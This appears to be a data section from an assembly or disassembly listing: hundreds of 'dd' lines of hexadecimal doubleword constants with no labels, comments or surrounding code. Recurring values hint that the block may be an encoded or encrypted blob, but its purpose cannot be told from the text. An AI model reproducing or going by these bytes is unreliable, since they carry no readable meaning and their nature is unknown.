		dd 9EA47A68h, 33B516A1h, 0D252CB35h, 4C418860h,	0CEC3799Dh
		dd 777E8931h, 739635A2h, 7887A782h, 8F3BC46Ah, 0C060D678h
		dd 0A9628C80h, 0A4638770h, 62A74631h, 82B187A7h, 8A31CEBEh
		dd 0BB5B0E7Fh, 9685E598h, 1F21A429h, 0CEA74E9Ch, 8595E873h
		dd 15122996h, 0DCCF201h, 0D0A96AADh, 4D299685h,	45149950h
		dd 816A558Ch, 0D1CC7284h, 0F7829168h, 74299685h, 89D16787h
		dd 46A247B0h, 8A687AEDh, 686DA4C5h, 0B2CB88B1h,	2F2995A5h
		dd 8256DC72h, 8A31CEBEh, 5E806F7Fh, 31CE7BADh, 0B716818Ch
		dd 688E5B52h, 9E3DBA7Fh, 8AAF6A6Bh, 9685B0C9h, 0DE702D29h
		dd 0EC8DCE58h, 69299685h, 0CE7E40BCh, 0E7F8A31h, 0DD7EBB5Bh
		dd 299685A0h, 0CEB86815h, 6C4D8A31h, 74BE5099h,	0A9628C9Ah
		dd 8A31CE77h, 6BC56F7Fh, 0B782B789h, 0CC606F55h, 32D9044h
		dd 370B043h, 0C57B9B56h, 638C80C0h, 0BE8276AAh,	26A7608Ch
		dd 0EC8DCE73h, 69299685h, 0CE7E40BCh, 0A7608C73h, 85B9C487h
		dd 49362996h, 0CFAA6990h
		dd 4C299685h, 0D179BF4Fh, 82B7896Fh, 735E8CBEh,	0D009C047h
		dd 858FEA29h, 0E6052996h, 30C6C323h, 6468D10Ah,	0B984A195h
		dd 8BB14525h, 76AB648Ch, 0ABEE229Eh, 9DFD23B2h,	2141936Ah
		dd 0D167879Fh, 0D182B782h, 299685A8h, 60D67825h, 94BF7AC7h
		dd 299685E9h, 9F95B966h, 864A46CEh, 0DF6C0513h,	0DF40A04Fh
		dd 967C4934h, 20D9C629h, 967C8AF3h, 0CF1A0729h,	4F68D131h
		dd 40199C6Bh, 73CE88AEh, 968595E8h, 1151229h, 5422CCF2h
		dd 768F3C7Ch, 0C842AA7Fh, 0C977B2A0h, 58E8BE82h, 91327BD8h
		dd 70A9628Ch, 25A86787h, 0D15CE274h, 9746CE6Fh,	0CC48C63Ch
		dd 0EFCD1C32h, 0C10805EAh, 40B7821Fh, 0B6636A9Bh, 0BAE89AA0h
		dd 2F6234EBh, 25A8618Ch, 7E6F9C42h, 33EBF70Eh, 91C27742h
		dd 299685E8h, 0A096B865h, 7C8731CEh, 6F8EA079h,	628CD263h
		dd 0A49C70A9h, 0C0B95A7Ah, 3D29962Ah, 0DAFC6C40h, 864BBC20h
		dd 68D1CA70h, 18250964h, 799D5431h, 8731CEC3h, 0B158837Ch
		dd 9B704E9Dh, 0CEBE826Dh, 0E8658D31h, 5329337Fh, 0B598BE73h
		dd 299623C1h, 0CE222686h, 0E0337546h, 0EFFF4867h, 8C33C210h
		dd 0B3527762h, 50706742h, 0D61BCEBFh, 0E32C942Bh, 710C47F2h
		dd 0EE299685h, 0E056F831h, 46CE6FD1h, 8B4408Ch,	0B26FADFFh
		dd 8E43C227h, 0A8638968h, 0E8BE8278h, 5A11BA7Ch, 9C1F216Dh
		dd 628CA74Eh, 3FB65577h, 28844B4Dh, 0C30E2CA8h,	6FD1DA0Eh
		dd 818C31CEh, 3AB95D0Ch, 66A54796h, 46CE7DABh, 0DE8573D8h
		dd 0EBF41AF7h, 0FC07B14Eh, 0D3E8E45Ah, 169203E6h, 5D7A52EFh
		dd 2986B897h, 0C746A710h, 3D0313C6h, 17A04E9Ch,	7AC056B5h
		dd 828D31CEh, 85C1BC57h, 413E2996h, 6DA23EADh, 8C6FD1BBh
		dd 0DDA0BB64h, 5A299685h, 7E8B32ADh, 0B267A277h, 0BC7E915Ah
		dd 0A5491F5Dh, 0CEBE828Fh, 787D8831h, 805E8DA1h, 85FD809Bh
		dd 5B7A2996h, 40199C73h, 82A04089h, 0CE59EFBEh,	777E8931h
		dd 85D8A1B2h, 0A8552996h, 202ECD61h, 0C04B718Eh, 648C082Eh
		dd 72B75279h, 4F68D1CEh, 0A98F9F6Eh, 0A0BB648Ch, 299685DDh
		dd 31A46B53h, 81678678h, 57824782h, 860871A2h, 98852996h
		dd 1A775F34h, 6D817A69h, 0E8BE82C7h, 9203E6D3h,	9C1F2116h
		dd 0B117A04Eh, 2DD54E35h, 5792DF36h, 0CD738356h, 5179648Ch
		dd 66A149B6h, 638976ABh, 0D1B086A8h, 8731CE6Fh,	8EA0797Ch
		dd 745C7D5Fh, 93221A9Bh, 0FCD01251h, 0F5D8BF0Ah, 0D12BDD14h
		dd 0A9628C6Fh, 0E8BE8277h, 29968595h, 1667F44Dh, 93299685h
		dd 448D7664h, 46CE8CB2h, 0DE7DCB05h, 2995DA9Bh,	0FA896B18h
		dd 245506DFh, 0A12995F0h, 0EA092DE4h, 0D1D90704h, 79648C6Fh
		dd 3641B44Fh, 0AC7D7095h, 0DE9FBC65h, 5B299685h, 82C563AEh
		dd 0A70755B7h, 55AB4934h, 31CE7BC1h, 806F7F8Ah,	0B84F7B5Eh
		dd 0B782CF71h, 85A8D182h, 0BD1E2996h, 32944548h, 0BA6F9643h
		dd 5E8C9E94h, 0A74730A5h, 8D4E6F68h, 6D3DA2Dh, 8372CACBh
		dd 0CE738757h, 0B828D31h, 9C82B85Eh, 3E2CA04Eh,	4B746B0Fh
		dd 8CE84EE0h, 0D17DAB64h, 77628C6Fh, 0A1648556h, 7DB47D2Ch
		dd 9BDE7DC4h, 18299685h, 0D175CB6Bh, 8731CE6Fh,	516E797Ch
		dd 0A96039BCh, 858A6685h, 3737785Ch, 0FB147FC2h, 46CEE55Bh
		dd 776312DDh, 684C1D90h, 5E59C7DDh, 80698D82h, 0A9628CC0h
		dd 0B9877524h, 95E873CEh, 12299685h, 27340115h,	29968556h
		dd 0D62BD6D3h, 96853445h, 62F4B129h, 82B782DCh,	9685A8D1h
		dd 0D6782529h, 0AA638C60h, 739C4423h, 2531D882h, 9C3CF479h
		dd 648CA74Eh, 76CB76ABh, 968594E5h, 7141129h, 29968576h
		dd 1A2036F3h, 7D8831CEh, 89C15FD9h, 8CBE82B7h, 96168E64h
		dd 838809CFh, 4D41934Eh, 0E02E3674h, 826CD264h,	0D53702BEh
		dd 27BC137Fh, 0C96F7F47h, 89A74E9Ch, 8931CEB7h,	8CA2777Eh
		dd 8609749Fh, 99862996h, 4146CE67h, 0CF4E1CAFh,	4FBE1F98h
		dd 2B9475BFh, 8AB046BDh, 95E873CEh, 12299685h, 0D910F7E3h
		dd 0F51AB635h, 8CBE8253h, 0B8577762h, 2FAD6435h, 0EC8DCE91h
		dd 0A4299685h, 5558AF1Bh, 68A16E52h, 0C8712EC6h, 0DAFB7F44h
		dd 0D2A659A7h, 2CAACB6Ah, 310727E2h, 3E02BE82h,	828D31CEh
		dd 0B4418D6Ch, 818C31CEh, 0AD627E6Dh, 0E873CE7Bh, 29968595h
		dd 37011512h, 5246CED9h, 0F07B0B42h, 83A27D91h,	6335AD91h
		dd 9645C5B8h, 6F454229h, 0F0295523h, 96551A63h,	44EA9729h
		dd 0A8618CEEh, 0A2678671h, 62D87E2Bh, 95E873CEh, 12299685h
		dd 17D7DAF8h, 97529E8Ah, 0CED26E77h, 56890746h,	8CA27DB8h
		dd 7D9E815Dh, 29964DFCh, 0FE7F9C79h, 7B29964Dh,	538E438Eh
		dd 70867F6Ch, 0CEBE82CAh, 797C8731h, 0D4BB8EA0h, 6852A0DDh
		dd 1E9CE664h, 90494CC1h, 0EBEAC33Ch, 648CF54Bh,	6FD17DABh
		dd 7DAB648Ch, 0DA55B782h, 90546910h, 0EF5E3DCh,	618C52E8h
		dd 678671A8h, 3ABB4C70h, 7623AA5Fh, 68D15AE0h, 199C6B4Fh
		dd 0CE88AE40h, 0A9D4B46h, 89ADA165h, 5089866Ah,	66488E7Ch
		dd 5B0E7F84h, 9EED7279h, 31CEC278h, 0F9848F8Ah,	76299685h
		dd 84AE4089h, 55AE1CA3h, 0CF658960h, 818C31CEh,	8A5C7E6Dh
		dd 5D88DE6Dh, 0A95099A5h, 5459AE0Eh, 0CECB7185h, 8F01C646h
		dd 0F41AD3F2h, 9B14EEBh, 0F722F7FEh, 9684215Ch,	4DE19E29h
		dd 0A2F2E8E7h, 21F75546h, 0C0A8B418h, 67FF21D1h, 73CE71C7h
		dd 968595E8h, 1151229h,	8C21D402h, 0D183A55Eh, 8B31CE6Fh
		dd 0E6643963h, 0D51C9D16h, 0FB08B241h, 0F914B946h, 31CEDF55h
		dd 746D818Ch, 0E873CEBCh, 29968595h, 0B42AE10Bh, 1DD43795h
		dd 36D3FAF9h, 5425360Bh, 0D1299685h, 900EBD4h, 0FB41D584h
		dd 9B40B782h, 0A0B6636Ah, 9C1F219Ah, 5E8CA74Eh,	0CDC04773h
		dd 0CE33D51Ch, 8595E873h, 15122996h, 8CD93701h,	987CA55Eh
		dd 8CC08EDh, 0C239612Ah, 0A7B43B12h, 8266CC62h,	6A9B40B7h
		dd 9AA0B663h, 7D8831CEh, 0BA8DA178h, 5546A31Ch,	0E149B21Ah
		dd 14C9534h, 52EF47EDh,	0D2658565h, 0BCBA51F9h,	55EB0BC6h
		dd 7D8831CEh, 0BE4D6F78h, 3624E373h, 0E792C178h, 64299685h
		dd 6BA66985h, 85D4A5B6h, 54512996h, 31CE7CC2h, 0A1787D88h
		dd 85A2DB78h, 621F2996h, 48BB1DCCh, 0D2AB6891h,	4F299685h
		dd 0D0007A52h, 118DF70Dh, 68D137FDh, 0DDFA4464h, 0B85E4312h
		dd 0A8618C82h, 8C6FD178h, 0C44B735Eh, 28D118D1h, 0EDE02F8Fh
		dd 82241A3Ch, 8831CEBEh, 36A1787Dh, 0A8817499h,	87866786h
		dd 7446CE59h, 9244E1A8h, 48F1FA1Ch, 36056C4h, 0DAE608F9h
		dd 0E5B843C9h, 53E90DC4h, 30A55E8Ch, 7164A347h,	6A3422E9h
		dd 94696BD0h, 0FA0F7FF3h, 0A83F625h, 3002996h, 9C1228CEh
		dd 5E8CA74Eh, 46CE83A5h, 3B2AA52Bh, 0BD7797EAh,	9279635Ch
		dd 31CEB67Ch, 0BA6E808Bh, 0A6638A75h, 1E3D4F4Eh, 44EAC500h
		dd 8595E8EEh, 8C542996h, 8623AA63h, 9685A4D5h, 7B642129h
		dd 0C834B950h, 97FDA1ADh, 44C72592h, 0C0769851h, 7F8A31CEh
		dd 373B7C2Dh, 628646Ch,	0CE4AEBF7h, 0D97D8831h,	0AE10A74Eh
		dd 6D81585Dh, 0E873CEC7h, 29968595h, 83F62512h,	299685h
		dd 0ECD1CE03h, 59FDAC21h, 3BA3329Ah, 82EB1DD4h,	0A8D182B7h
		dd 33299685h, 6D136574h, 0AA87777Eh, 962F1069h,	59908D29h
		dd 0B0897FB5h, 340E005Ch, 0A2777E87h, 0CFEEC34Ah, 73CEF93Fh
		dd 968595E8h, 0DDF81229h, 4291C70h, 4DEA0CC5h, 95F46B0Eh
		dd 2E9C2329h, 0E509E0D5h
		dd 0D1F0100Dh, 0A06F4F68h, 724EF74Ch, 698D0995h, 4246CED3h
		dd 0B7561BAEh, 3A48D181h, 21E8A2C2h, 1B513A0Dh,	8CEC52A0h
		dd 0CE79A760h, 787D8831h, 6F9436A1h, 60B455DFh,	6072B6D7h
		dd 0A4658833h, 0CE73C96Dh, 0D808B31h, 8F76635Ch, 4CAB4B1Eh
		dd 85BC659Eh, 9685A3D6h, 0D3632029h, 55B7826Dh,	0E0946FA7h
		dd 104BF653h, 2996246Dh, 23193DEAh, 88BBE8E8h, 0F712FA51h
		dd 0A4D4C6AEh, 21C2789Eh, 9D3E9F18h, 8F06CB3Eh,	0CEFE34DAh
		dd 8595E873h, 15122996h, 0D1C441AAh, 0DB07F618h, 6646CE1Ah
		dd 7BA4EF92h, 70B94E6Eh, 5AA90FDEh, 0E873CEA6h,	29968595h
		dd 37011512h, 306E5D2h,	137D792h, 95E873CEh, 12299685h
		dd 0C8F20115h, 0C8F3E009h, 549D4C41h, 75506B61h, 17974DDFh
		dd 0D5E217D2h, 0C7A213F6h, 0F41AEBD0h, 55B7823Eh, 21CDCD6Eh
		dd 71C767ADh, 95E873CEh, 12299685h, 0CAF20115h,	0DF2AE10Bh
		dd 0E873CE41h, 29968595h, 0A528DF0Bh, 11512F4h,	59EF48E8h
		dd 508D31CEh, 60559C6Dh, 36A72389h, 1C0E0200h, 16DF0BFAh
		dd 95E873CEh, 12299685h, 0D811F8E3h, 0F211B736h, 8731CE4Eh
		dd 0B057837Ch, 70CA6C3Dh, 932345C7h, 0EC11B240h, 53E48608h
		dd 0D5794EE3h, 3746CE5Fh, 0B5C85379h, 32299629h, 0C1D99F75h
		dd 0C6F40313h, 0BE820B3Dh, 88BBE8E8h, 52EF0151h, 1B5DF27Ah
		dd 0BA5C8490h, 0A04E9C84h, 85BFBA59h, 0D3C2996h, 81585DB0h
		dd 0CE90A648h, 6C828D31h, 71A85B7Dh, 0A4AF6486h, 299685D9h
		dd 0CE60A956h, 0CE6FD168h, 8595E873h, 15122996h, 854E2FECh
		dd 0DECB2996h, 0F611B938h, 1465F64Bh, 91299685h, 0D1BC8294h
		dd 556D6468h, 0DF0DE7ACh, 5E8CE94Fh, 31CE83A5h,	746D818Ch
		dd 0A8618CBCh, 40B78278h, 72C86E9Fh, 4E9C3E02h,	0BFBA59A0h
		dd 3C299685h, 8C89AF3Fh, 0D3A6B55Eh, 50299685h,	0D16A9E53h
		dd 0E873CE6Fh, 29968595h, 0F2011512h, 82A13FCCh, 699A40B7h
		dd 85DAA3B0h, 0AA572996h, 99E8AE84h, 49299685h,	851A63F0h
		dd 41D22996h, 29968538h, 29D6C8B5h, 638C2F05h, 867623AAh
		dd 0AA8F5BB1h, 47D55C8h, 0AA0246FCh, 0B5596971h, 40B7827Fh
		dd 73C96D9Eh, 8B9C46CEh, 9FC5F9B9h, 5B7E608Fh, 0E6FAC73h
		dd 8B299596h, 6A9E539Eh, 7AC76FD1h, 85E994BFh, 0B9662996h
		dd 46CE9F95h, 36A1DFB4h, 0A99CB278h, 299627D0h,	0CE59EF8Fh
		dd 6F7F8A31h, 13AC4290h, 0BB6E5FA6h, 73CEA59Bh,	968595E8h
		dd 1151229h, 0B7890626h, 85EC8DCEh, 1BA42996h, 7D683BAFh
		dd 5CEE6027h, 8C798195h, 0E6FAC55h, 8B29960Fh, 0C5B8639Eh
		dd 4229960Eh, 828BB145h, 0D994E8BEh, 0EF55310Dh, 8D31CE59h
		dd 418D6C82h, 0CEB789B4h, 0D87E8931h, 85BDC05Bh, 303A2996h
		dd 1639FA70h, 0BC57824Bh, 29962AC1h, 5888413Eh,	5F8C73CEh
		dd 0D47A2FA6h, 96860871h, 61988529h, 1E0C116Bh,	0CF5F4983h
		dd 896FD169h, 67A647B0h, 9DA3B366h, 818C31CEh, 7CB95D0Ch
		dd 9EDF7CC5h, 1B299685h, 0BD48716Eh, 7ACD6138h,	299685FFh
		dd 9B6E4D7Ch, 4F8A3F1Ah, 861069AAh, 8BC82996h, 299685F2h
		dd 4F4CB26Fh, 861069AAh, 908D2996h, 0BE82B87Eh,	0F4F4A5E8h
		dd 1821445Ah, 854732E1h, 0D7C42996h, 4E9C0137h,	47B089A7h
		dd 6AD066A5h, 85EC8DCEh, 0BC692996h, 0EC8DCE8Ch, 69299685h
		dd 0BE68119Fh, 7962820Eh, 5C8C458Ch, 8DCE73CEh,	299685ECh
		dd 0DE9FBC69h, 5B299685h, 89AE88AEh, 39BC516Eh,	8968CE60h
		dd 8A31CEB7h, 0BB5B0E7Fh, 859CDD7Eh, 6C192996h,	0CEBE82BCh
		dd 2C808B31h, 3A1AAF8Fh, 4F9EB030h, 826A9E6Dh, 3B9E40B7h
		dd 0A475788Fh, 9DB1686Dh, 9C59EF97h, 0B1A1A74Eh, 0EBE31A1Eh
		dd 0CEDBA50Fh, 0D97D8831h, 85BEBF5Ch, 0CB762996h, 9685ED90h
		dd 84BD6A29h, 9685A6D7h, 0D0662329h, 0CECD7B28h, 8595E873h
		dd 15122996h, 56273401h, 0E299685h, 4D40CBF1h, 53827A9Ch
		dd 0B46DA46Bh, 6F669D4Bh, 0D19E94BAh, 0CEB7896Fh, 0AEBCAF46h
		dd 1AB6E4E2h, 0E02900F5h, 1638D7F7h, 957FFA19h,	0C0372995h
		dd 0B048EE1Fh, 0FDF01BC1h, 0C33CE52Ch, 2BFEEF16h, 0F11862C9h
		dd 50E6C65Ah, 0CEBE82EAh, 6C828D31h, 0F4F4B0D9h, 608C4F5Ah
		dd 9B4126A7h, 9FBC7D70h, 299685DEh, 3B52AE5Bh, 5DEB6F2Fh
		dd 89A74E9Ch, 0A173CEB7h, 0E4E2A75h, 96E7746Ah,	13299629h
		dd 28330016h, 29962955h, 0E7F5070Dh, 0B91BEECDh, 59FD4793h
		dd 0FD0AB2A1h, 31E821F8h, 0E93C6EDBh, 0DF6FB0C9h, 6446CE59h
		dd 9E27F1BCh, 225BF821h, 9F29965Eh, 34DF4CE2h, 29965E49h
		dd 1D900B01h, 2E47365Fh, 1843F008h, 29965765h, 3CEC25E2h
		dd 0A36468D1h, 4F1D7EB7h, 0C74BF105h, 0E994BF7Ah, 5F299685h
		dd 6D1A8C7Bh, 46CE73C9h, 17640E7h, 4906FC32h, 0F60CC20h
		dd 3C3D1026h, 0F42995FFh, 0D16BF820h, 42D426ACh, 0CE1F21FCh
		dd 2B818C31h, 6C445A6Bh, 0FDFC129Ch, 80C024D1h,	72A7608Ch
		dd 8EA06385h, 8731CEA8h, 8EA0797Ch, 0B7899B55h,	85EC8DCEh
		dd 0BC692996h, 8731CE8Ch, 8EA0797Ch, 547C83A4h,	0BD88109Eh
		dd 64AD0703h, 94E86CD2h, 4E310DD9h, 95020DB1h, 0DDCD134h
		dd 73CE53E9h, 968595E8h, 6B0E4D29h, 0E8299685h,	38DECB3Bh
		dd 52F611B9h, 7C8731CEh, 40B760DAh, 0B0696C9Dh,	0B089989Eh
		dd 0AC109D5Ch, 0A2B4231Ah, 0CE73CE9Ch, 9685EC8Dh, 9ABC6929h
		dd 9685CAB7h, 607D7A29h, 93645690h, 9257618Dh, 7C97747Ch
		dd 29964201h, 0F782917Eh, 74299641h, 73554287h,	854C1D90h
		dd 40B78263h, 768F3C9Fh, 8CA59BBBh, 0C1547560h,	9685E792h
		dd 72B76429h, 6E8A82B7h, 0B100875Dh, 0CEE45AFCh, 0D97D8831h
		dd 724E6910h, 0C6B7649Dh, 43299685h, 218AB046h,	8831CE1Fh
		dd 0A2679E4Bh, 0D4616D8Ch, 8DCEB789h, 299685F0h, 56B517A0h
		dd 8C648A5Fh, 73CE718Fh, 84AA638Ch, 9685B8C1h, 0C52B3529h
		dd 7D6CF23Bh, 7BC67BB6h, 967D9DE0h, 0C96D1A29h,	4F68D173h
		dd 0D1A9B6Ah, 81955CAFh, 0A173CEBBh, 0E259ED6Ah, 0ACCD6EA1h
		dd 29299671h, 0AF1BDA7Ch, 73CEA858h, 968595E8h,	1151229h
		dd 628CD937h, 85DF9AB9h, 9F5C2996h, 315DAF6Ah, 0CE751A6Ah
		dd 0D163D97Dh, 735E8C6Fh, 8273BE45h, 0CE932DA7h, 8595E873h
		dd 15122996h, 0B641E801h, 2DFCF116h, 851667F4h,	96932996h
		dd 0B789BA80h, 95E873CEh, 12299685h, 2232D7F8h,	62A7F01Bh
		dd 8C5D13CCh, 997BA65Fh, 85B51506h, 45FB1BA1h, 6B4F68D1h
		dd 4D84816Ah, 2CA16E52h, 0CE63D97Dh, 6D818C31h,	7BAD627Eh
		dd 81C7BE82h, 0A0BB648Ch, 299685DDh, 0C464AD5Ah, 828D31CEh
		dd 7EB85E0Bh, 0C446CEA0h, 3D889137h, 5F7F6E80h,	0B78290B0h
		dd 13A72855h, 46D5201Fh, 29961033h, 183EF3B0h, 8595E822h
		dd 0B24D2996h, 3BD8010Eh, 29968542h, 62CC2BFh, 31CE59EFh
		dd 5E0B828Dh, 581D49B8h, 7C8731CEh, 5F8EA079h, 6369907Fh
		dd 8363FDC4h, 9F95B992h, 7E8931CEh, 3EB95ED8h, 74CA6CA1h
		dd 0BD8E648Ch, 1F132893h, 0CEB2569Bh, 9E4C8931h, 7029AC65h
		dd 2F88A29Ch, 3FCFAEF5h, 0D4FC03A6h, 0E8251B3Bh, 29968595h
		dd 0AB648C54h, 0A9D47F2Ah, 26299685h, 0AB607E79h, 96C4B32Ah
		dd 0CE1432C8h, 8595E873h, 0E3122996h, 0CB9E0FF6h, 0C511F006h
		dd 0DC318E29h, 31CE043Ah, 5D0C818Ch, 89963AB9h,	3658A983h
		dd 8AA9BEF1h, 29966EEFh, 0A448AF6Ch, 72B77263h,	8C6FD1CEh
		dd 827DAB64h, 0A8D182B7h
		dd 25299685h, 8C60D678h, 7524A962h, 8587B287h, 296AC671h
		dd 671221FFh, 0E42995EFh, 9410D537h, 0EE2C62Bh,	8DCE52E8h
		dd 299685ECh, 7A85BC69h, 0A5648756h, 9EB07930h,	0E873CE98h
		dd 29968595h, 0E8011512h, 70A3CB41h, 0FBF211B7h, 0A218C62Eh
		dd 266CC62h, 8831CE3Eh,	8DA1787Dh, 73CE606Eh, 968595E8h
		dd 1151229h, 0AB648C3Bh, 8831CE7Dh, 8DA1787Dh, 0A0BB86A3h
		dd 299685DDh, 3DA16853h, 8C88AE40h, 0E29BB861h,	5F299685h
		dd 0D36D67A2h, 31CEBE82h, 1BDA7C87h, 82AC5CB3h,	6B9C40B7h
		dd 5F8C75CBh, 0A7482FA6h, 9FE6F66h, 740C01DDh, 7C8731CEh
		dd 6F8EA079h, 0E576CB63h, 29968594h, 3C021411h,	0A547B089h
		dd 94BA6F66h, 8B31CE9Eh, 78C16E80h, 85E792C1h, 0B7642996h
		dd 85C9B497h, 59462996h, 54B317A0h, 31CE7CC2h, 5E0B828Dh
		dd 8CA07EB8h, 53318E64h, 534F2AE9h, 0CFCC2996h,	65A4CBFDh
		dd 8FCC75ACh, 2995A4EEh, 2897CB79h, 0D6C835EEh,	0CE2F0529h
		dd 777E8931h, 9D538CA2h, 0A147B089h, 0CE66CC62h, 9685EC8Dh
		dd 648A6929h, 994126A7h, 0BA6EA36Eh, 644046CEh,	0B223E408h
		dd 0DB6915F7h, 6306DF6Fh, 20956E5Ch, 55885C2Ch,	0C702C356h
		dd 37021127h, 85285102h, 0F8A52996h, 85671241h,	37E42996h
		dd 4E9C2117h, 8931CEA7h, 8CA2777Eh, 5A8E815Dh, 829168D1h
		dd 299685F7h, 17C9774h,	7E299686h, 90A64881h, 9FE846CEh
		dd 228A7B60h, 9B040DBEh, 0EF3ADC33h, 1746CE51h,	34584664h
		dd 8A3FD0F0h, 0F4B9C44Fh, 49362995h, 0CEC381A5h, 8595E873h
		dd 15122996h, 852B4E01h, 0DCE32996h, 41F717F0h,	26A7608Ch
		dd 676E9941h, 0A67866A1h, 0B2189F9Ch, 9C77BD51h, 31CEA74Eh
		dd 4FDA7C87h, 82B789B1h, 6D9E40B7h, 0A746B168h,	98BE6B62h
		dd 0E873CEA2h, 29968595h, 0F2011512h, 3CAE0ECDh, 14876C0Ah
		dd 0E029E081h, 9168D140h, 9685F782h, 4E6A7429h,	9BE3E7D2h
		dd 0B87E9059h, 79A7608Ch, 0F79846CEh, 4D460EC5h, 0B438643Bh
		dd 0A80FDAB4h, 0B32CC243h, 927AC7FDh, 0FE8B7E32h, 3A00169Ch
		dd 7D8831CEh, 394BA178h, 4E363604h, 8F3BBA5Ch, 8C60A546h
		dd 43D81A19h, 1BC60B4Eh, 0DDD039A4h, 0D154EA0Ch, 3B476468h
		dd 0E8ED20BDh, 614CDB31h, 0E8300628h, 29969181h, 0A9628C68h
		dd 88F99C70h, 4DAD01D8h, 8F9F6C52h, 0F46CEA9h, 4FB44E2Dh
		dd 1BF28CEh, 2FA65F8Ch,	0A85B7D7Ah, 31CE922Ch, 0C06D818Ch
		dd 9685EA93h, 1C2AA229h, 0D47E99A0h, 0C4D0A96Ah, 504D2995h
		dd 907D7599h, 95C4FA83h, 4C6D7729h, 0A2F0E74Eh,	9C4C854Ch
		dd 5F8C6FD1h, 73CE82A6h, 968595E8h, 1151229h, 95E848E8h
		dd 54299685h, 7BA65F8Ch, 72FD4999h, 32975651h, 42F81ED3h
		dd 689168D1h, 9685D2ABh, 0C1524F29h, 299685B8h,	90A64835h
		dd 7C8731CEh, 0B84D6E79h, 89AD6435h, 5D84816Ah,	0E4FEFE77h
		dd 0C7A213FCh, 5306EDE5h, 0F70C6DAEh, 9C892995h, 0BE82C47Ah
		dd 7E8931CEh, 5D8CA277h, 7F558C7Fh, 0B7FFC910h,	7A913BA3h
		dd 0CB6BA673h, 0A16FD175h, 0FA0D39BEh, 0D1A61675h, 7692EB28h
		dd 94A2996h, 29967670h,	9FCE30EDh, 0CDDD03Fh, 820B31C5h
		dd 8C31CEBEh, 5D7E6D81h, 68D178A8h, 0F48D2564h,	59FAB434h
		dd 2995A420h, 529E09Dh,	0E881C72Fh, 29968595h, 0FF0CB24Dh
		dd 53BDB8Eh, 4E9C59EFh,	8F0B2CA0h, 84602EA6h, 80C0CC72h
		dd 79A7608Ch, 628CBE82h, 71B85777h, 82B782CFh, 9685A8D1h
		dd 0D6782529h, 6552EF60h, 5A0F8689h, 6B8B7E5Dh,	0A74E9CD5h
		dd 928D31CEh, 9685F881h, 41887529h, 0B7649D4Ch,	299685C6h
		dd 41B04643h, 0DF967E99h, 5EDDDE98h, 4F037685h,	83802996h
		dd 0C02C934Eh, 0D191A747h, 8C628C6Fh, 0A00C20DDh, 94E5769Ch
		dd 1129967Ch, 0F414DD14h, 95E873CEh, 12299685h,	0D2370115h
		dd 0F00B25FAh, 54B86B8Eh, 889D77A4h, 68CE6063h,	76AB648Ch
		dd 90A66189h, 8731CEAAh, 6811DA7Ch, 2E9F6E4Fh, 0E865DB7Bh
		dd 29968595h, 0E0BB24Dh, 96852C4Dh, 35FCA929h, 648C1B21h
		dd 90CB76ABh, 299685EDh, 0A399BD6Ah, 7D8831CEh,	7FBA5FD9h
		dd 9685A9D4h, 93792629h, 0B1C14B06h, 0E157F7CEh, 808B31CEh
		dd 0AC5B7F6Eh, 8931CE7Ch, 85ACCD8Eh, 7C292996h,	0C56940B5h
		dd 648C641Ch, 31CE7DABh, 5C0D808Bh, 6F8831BAh, 0A75E8B4Ch
		dd 98BE7326h, 0AB648CA2h, 689B3D2Ah, 7E6CA365h,	0CEAC9AA0h
		dd 0B828D31h, 85CCAD6Eh, 5C492996h, 54828195h, 2DBD1D9Ah
		dd 0DE43B368h, 0CB6BA6BFh, 0B7608C75h, 9685E19Ch, 68A15E29h
		dd 0B2CB88B1h, 2F299685h, 0CE56DC72h, 0F1628A31h, 36262CA3h
		dd 6BC569A0h, 0AB648CD5h, 4F68D17Dh, 3F1A9B6Ah,	628C89AFh
		dd 877524A9h, 0A646CEB9h, 6763AF35h, 0DAA3B069h, 57299627h
		dd 0A55B84AAh, 72A7608Ch, 0E4C6E99Ah, 0C86EE1C8h, 55B78272h
		dd 99BD357Eh, 39FF0F9Fh, 31CEB789h, 0A0797C87h,	5F58A18Eh
		dd 39038A79h, 338F83Bh,	0B0468B10h, 95DFE09Dh, 0E68B5529h
		dd 5F1E11C8h, 0CE011FEAh, 8595E873h, 15122996h,	0CED93701h
		dd 0B828D31h, 8D78615Eh, 2EBD5108h, 79C0798Eh, 96859FDAh
		dd 0CF5F1C29h, 8831CE69h, 8FBBB260h, 6CA5DE5Fh,	45C770CAh
		dd 1973FFE8h, 4DF303EAh, 0B78980C0h, 7E8931CEh,	538CA277h
		dd 82B7899Dh, 0A8618CBEh, 0A56A8671h, 68D1AB91h, 806A6B4Fh
		dd 92A84E83h, 31CE81C7h, 8EB06189h, 0FCC5F09Bh,	45E9C035h
		dd 95967702h, 648C3629h, 85DDA0BBh, 0AD5A2996h,	65867164h
		dd 0A8DF2DA0h, 0E15EE4BAh, 8582FB18h, 2FF2996h,	41D53895h
		dd 0A74E9CFBh, 628C80C0h, 8AC970A9h, 299685EFh,	86116CA7h
		dd 918E2996h, 58DE702Dh, 7AC7BE82h, 2AAB5E7Dh, 8C59DF6Fh
		dd 0D177A962h, 0F7829168h, 74299685h, 8CD16787h, 997BA65Fh
		dd 3656AA5Dh, 44FA1CB5h, 9A40B782h, 3F986469h, 20E7ACFh
		dd 0F349ED24h, 0D4C2AFE8h, 4D0E332Bh, 2758482Ch, 684D0FB7h
		dd 0C539E3FDh, 0CE0036D8h, 6E808B31h, 76AB5A7Fh, 4B725F89h
		dd 0A78273BEh, 68D1B187h, 71679B64h, 1CCDC04Bh,	0B67FE0B8h
		dd 5F8C9AA0h, 31CE82A6h, 0A1787D88h, 0CE9C548Dh, 0D97D8831h
		dd 6FD1BD6Bh, 66895F8Ch, 0C6207550h, 9970D3DBh,	71282B33h
		dd 0B78288B8h, 0C86E9F40h, 8592E872h, 0A9502996h, 96860F6Ah
		dd 0F18CC729h, 6E299685h, 0BE504DB1h, 9C1F2178h, 31CEA74Eh
		dd 5E0B828Dh, 759039B8h, 8A31CED3h, 6BC56F7Fh, 7BA65F8Ch
		dd 27AE5784h, 686D9E40h, 60D678B1h, 0A040B782h,	8BAB7E6Fh
		dd 8A31CEB5h, 795B0E7Fh, 8C7F1374h, 0C87698FCh,	0AB0DAA4Fh
		dd 77845558h, 2995CD06h, 0CA708683h, 5F8C6FD1h,	0FEE5D589h
		dd 0BCD8242Dh, 93A92DAh, 0BD4C6F15h, 828BBD74h,	8B31CEBEh
		dd 0B9DB6E80h, 4A2BD4C2h, 4E9C3E02h, 0E873CEA7h, 29968595h
		dd 856B0E4Dh, 3BE82996h, 0B938DECBh, 0C84CF510h, 0D49F7FB2h
